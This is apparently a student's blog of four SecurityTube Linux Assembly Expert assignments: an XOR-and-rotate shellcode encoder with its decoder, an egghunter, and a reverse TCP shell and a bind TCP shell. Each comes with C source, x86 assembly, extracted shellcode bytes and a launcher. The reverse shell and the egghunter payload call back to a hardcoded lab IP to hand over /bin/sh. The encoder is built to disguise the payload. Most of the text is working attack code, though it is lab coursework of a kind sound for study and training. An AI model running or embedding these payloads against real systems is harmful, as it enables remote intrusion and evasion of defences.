June 4, 2019

SLAE – Assignment #4 - Custom Encoder

This task was to follow our lab video and build an insertion encoding scheme for our shellcode which spawned /bin/sh.

1. Encoder


I decided to use python for encoding. I chose bitwise feedback rotation left function and XOR against known key. Hopefully code is clear for understanding:

#!/usr/bin/python

sc = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

max_bits = 8

key_byte = 0x32

final = ""

rotate_left = lambda byte, value, max_bits: \
    (byte << value%max_bits) & (2**max_bits-1) | \
    ((byte & (2**max_bits-1)) >> (max_bits-(value%max_bits)))

for byte in bytearray(sc) :

rotl_byte = rotate_left(byte, 4, max_bits)
xor_byte = rotl_byte ^ key_byte

final += '0x'
final += '%02x,' % (xor_byte & 0xff)

print (final)

print 'Length: %d' % len(bytearray(sc))



I got an output:

0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a

2. Decoding


To decode I used jmp-call-pop combination to get address of the shellcode. Decoder assembly code below:

global _start

_start:
jmp short get_addr

prep_decode:
pop esi                 ; address now in esi
xor ecx, ecx
mov cl, len ; shellcode length was counter

decode:
         ; we decoded by using function backward

xor byte [esi], 0x32  ; xor with the key
ror byte [esi], 4        ; rotate right 4 positions (opposite operation to encoding) 
inc esi ; next byte
loop decode            ; until cl is zero

jmp short sc            ; jump to the original shellcode


get_addr:
call prep_decode
sc: db 0x21,0x3e,0x37,0xb4,0xd4,0xc0,0x05,0xb4,0xb4,0xc0,0xc0,0x14,0xa4,0xaa,0x0c,0x37,0xaa,0x1c,0x07,0xaa,0x2c,0x39,0x82,0xee,0x3a
len equ $-sc:

Proof picture:


3. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 27, 2019

SLAE – Assignment #3 – Egghunter

1. Introduction

Egghunter is a known technique that is used when we are limited in space. The original idea was introduced by skape in his paper - http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. Also Corelan has a good full write up about egg hunting under Windows platform. Updated version was released recently in his blog about Windows 10 - https://www.corelan.be/index.php/2019/04/23/windows-10-egghunter/

The idea is that we have our payload with egg somewhere in the memory and egghunter will scan memory and after reaching our egg will jump there.

2. Egghunter implementation

Based on my experience with OSCE as egghunting was one of the most important topics I found out that there are 2 possible issues:

1. Wrong jump if egghunter will detect his own egg.
2. Attempt to access unmapped memory which will lead to program termination (SIGSEGV).

Solution:

1. We prepend our shellcode with double tag.
2. From skape paper we can use access or sigaction system calls.

I will use access system call. This call will return EFAULT when access unmapped memory instead of termination. Egghunter algorithm:

1. we push address to validate
2. if EFAULT we increment until we reach valid address
3. After we reach valid address space, we iterate through it searching for double tag.
4. If succeeded, we jump to shellcode after tag.
5. If not we go to next page.

I found a system call using: 

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep access
#define __NR_access 33

3. Egghunter code

global _start

section .text

_start:
       xor ebx, ebx
       xor ecx, ecx

next_page:
        or bx, 0xfff ;page alignment

hunt:
        inc ebx          ;next address
        lea edx, [ebx+0x04]  ;compare values in [ebx] and [ebx+4]
        xor eax, eax
        mov al, 0x21     ;syscall for access
        int 0x80

        cmp al, 0xf2   ;check return value for EFAULT
        je next_page   ;if yes, go to next page
mov edi, ebx   ;if not, ebx in edi for scasd

mov eax, 0x64697361 ;tag = disa
        scasd           ;check eax==[edi] then increment edi
        jnz hunt        ;continue search
        scasd           ;check for second tag
        jnz hunt
        jmp edi         ;jump to second stage shellcode

Then usual operations: extract shellcode and put in C file. I decided to use reverse shell payload for a test:

#include<stdio.h>
#include<string.h>
#define PORT "\x0a\x30"
#define ADDRESS "\xc0\xa8\x0d\xf3"
#define TAG "DISA"

char egghunter[] = "\x31\xdb\x31\xc9\x66\x81\xcb\xff\x0f\x43\x8d\x53\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\x89\xdf\xb8"
TAG
"\xaf\x75\xe8\xaf\x75\xe5\xff\xe7";

char shell[] = TAG TAG
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe"
"\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68"ADDRESS"\x66"
"\x68"PORT"\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80"
"\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
 
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(egghunter));
void (*fp) (void);
fp = (void *)egghunter;
fp();
}

Proof picture: 

4. Disclaimer

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 23, 2019

SLAE – Assignment #2 – Reverse TCP Shell

1. Introduction


In this blog post I will go through second task of SLAE exam challenge - creating reverse shell with easy configurable IP address and port which will spawn a shell on connection back. My strategy was the same as with bind shell - build C code and then based on analysis recreate in assembly.

2. C code reverse shell


The difference with bind shell was that instead of bind() and listen() we used connect().

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

#define REMOTE_ADDR "192.168.13.243"
#define REMOTE_PORT 2608

int main() {
  int sock_des;        //socket descriptor
  struct sockaddr_in addr_ser;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP
  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(REMOTE_PORT); // port in little-endian
  addr_ser.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // IP in network order

  connect(sock_des, (struct sockaddr *)&addr_ser, sizeof(addr_ser)); //connect to remote host
  dup2(sock_des, 0); // stdin
  dup2(sock_des, 1); // stdout
  dup2(sock_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:


3. Find out the details


To enumerate system calls I ran compiled binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(2608), sin_addr=inet_addr("192.168.13.243")}, 16) = 0
dup2(3, 0)                              = 0
dup2(3, 1)                              = 1
dup2(3, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get connect() subfunction call number I used grep again:

grep "sys_connect" /usr/include/linux/net.h 
#define SYS_CONNECT 3 /* sys_connect(2) */

4. Assembly code


global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

 push eax
 push 0x01
 push 0x02
 mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
 mov al, 0x66
 inc bl                   ; 0x01
 int 0x80

 mov esi, eax     ; store socket descriptor to esi 

;connect to address
;int connect (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int connect(esi, struct, 0x10)

;sockaddr_in structure:

 mov al, 0x66
 mov bl, 0x03                        ; 0x03
 push edx            ; terminate
 push long 0xf30da8c0  ;ip_addr
 push word 0x300a        ; port number
 xor ecx, ecx
 mov cl, 0x02 
 push word cx
 mov ecx,esp    ; mov structure pointer in ecx                                      
 push 0x10
 push ecx
 push esi                        
 mov ecx, esp  ; ecx points to arguments
 int 0x80

 mov ebx,esi ; get file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

  push edx                 ;string NULL-terminator
  push 0x68732f2f     ; hs//
  push 0x6e69622f    ; nib/
  mov ebx, esp          ; pointer to command string
  mov ecx, edx          ; ecx 0x00
  mov al, 0xb
  int 0x80

Compile assembly:

nasm -f elf32 -o asm_reverse.o asm_reverse.nasm
ld -o asm_reverse asm_reverse.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm_reverse| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x52\x68\xc0\xa8\x0d\xf3\x66\x68\x0a\x30\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x89\xf3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

 printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a reverse shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam

May 22, 2019

SLAE – Assignment #1 – Bind TCP Shell

1. Introduction

In this blog post I will go through first task of SLAE exam challenge - creating bind shell with easy configurable port which will spawn a shell on connection. My strategy was pretty common - build C code and then based on analysis recreate in assembly.

2. C code bind shell

Network programming in Linux is quite straightforward until you try to build something really special. I tried to put as much comments as possible so it would be easy to follow the code.

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>

int main() {
  int sock_des, client_des, port_num;
  struct sockaddr_in addr_ser;
  port_num = 2608;

  sock_des = socket(AF_INET, SOCK_STREAM, 0); //create a socket for IPv4, TCP, IP

  addr_ser.sin_family = AF_INET; // ipv4
  addr_ser.sin_port = htons(port_num); // port in network endian
  addr_ser.sin_addr.s_addr = INADDR_ANY; // (0.0.0.0)

  bind(sock_des, (struct sockaddr*)&addr_ser, sizeof(addr_ser)); //bind to address and port
  listen(sock_des, 0); //listen to connection

  client_des = accept(sock_des, NULL, NULL); //accept incoming connection

  dup2(client_des, 0); // stdin
  dup2(client_des, 1); // stdout
  dup2(client_des, 2); // stderr

  execve("/bin/sh", NULL, NULL); //spawn a shell
  return 0;
}

Proof picture:

3. Find out the details

To make my life easier I executed bind shell binary with strace and got list of functions:

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(56797), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0

Next step we need to find system call numbers. I used grep: 

grep "socketcall\|dup2\|execve" /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102

All network calls are inside socketcall() function. It requires 102 (0x66) value in eax, subfunction call number in ebx, arguments in ecx. To get subfunction call numbers I used grep once again:

grep "sys_socket(\|sys_bind(\|sys_listen(\|sys_accept(" /usr/include/linux/net.h 
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */

4. Assembly code

global _start

section .text
_start:
;clear out registers, edx will be zero till the end of the code

       xor eax, eax
       xor ebx, ebx
       xor edx, edx

;create socket
;int socket(int domain, int type, int protocol)
;int socket(2, 1, 0)

push eax
push 0x01
push 0x02
mov ecx, esp      ; ecx points to the top of the stack where our arguments are located             
mov al, 0x66
        inc bl                   ; 0x01
int 0x80

mov esi, eax     ; store socket descriptor to esi 

;bind to address
;int bind (int sockfd, const struct sockaddr *addr, socklen_t addrlen)
;int bind(esi, struct, 0x10)

;sockaddr_in structure:

mov al, 0x66
        inc bl                        ; 0x02
push edx           ; address to bind
push word 0xdddd          ; port number
push word 0x02        ; push AF_INET
mov ecx,esp   ; mov structure pointer in ecx
                        
                    
push 0x10
push ecx
push esi                        
mov ecx, esp ; ecx points to arguments
int 0x80

;listen
;int listen(int sockfd, int backlog)
;int listen(esi,0)

mov al, 0x66
        mov bl, 0x04
push edx                 ;0x00
push esi
mov ecx, esp
int 0x80

;accept
;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
;int accept(esi,0,0)

mov al, 0x66
        inc bl                      ;0x05
push edx
push edx                    
push esi
mov ecx, esp
int 0x80

mov ebx,eax ; get new file descriptor for dup() call

;duplicate STD
;int dup2(int oldfd, int newfd)
;int dup2(ebx, 0)
  
         mov al,0x3f            ;63 in decimal
         xor ecx,ecx            ;0x00
         int 0x80

;int dup2(ebx, 1)

         mov al,0x3f
         inc ecx                   ;0x01
         int 0x80
     
;int dup2(ebx, 2)
    
         mov al,0x3f
         inc ecx                   ;0x02
         int 0x80

;spawn shell
;int execve(const char *filename, char *const argv[], char *const envp[]);
;int execve(string addr, zero, NULL)

 push edx                 ;string NULL-terminator
 push 0x68732f2f     ; hs//
 push 0x6e69622f    ; nib/
 mov ebx, esp          ; pointer to command string
 mov ecx, edx          ; ecx 0x00
 mov al, 0xb
 int 0x80

Compile assembly:

nasm -f elf32 -o asm_bind.o asm_bind.nasm
ld -o asm_bind asm_bind.o

Check for any NULL bytes and extract shellcode with command line magic from the course:

objdump -d -M intel asm| grep 00
objdump -d ./asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68\xdd\xdd\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"

Then copy/paste in C code:

#include<stdio.h>
#include<string.h>
#define PORT "\xdd\xdd"

char shell[] =
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x89\xc6\xb0\x66\xfe\xc3\x52\x66\x68"PORT"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";

main()
{

        printf("Shellcode Length:  %d\n", strlen(shell));
void (*fp) (void);
fp = (void *)shell;
fp();
}

Compile the code with gcc -o shell shellcode.c -fno-stack-protector -z execstack and got a bind shell:


5. Disclaimer


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:


Student ID: SLAE-764

All the code from this article can be found in my github repository - https://github.com/vinegrep/SLAE-exam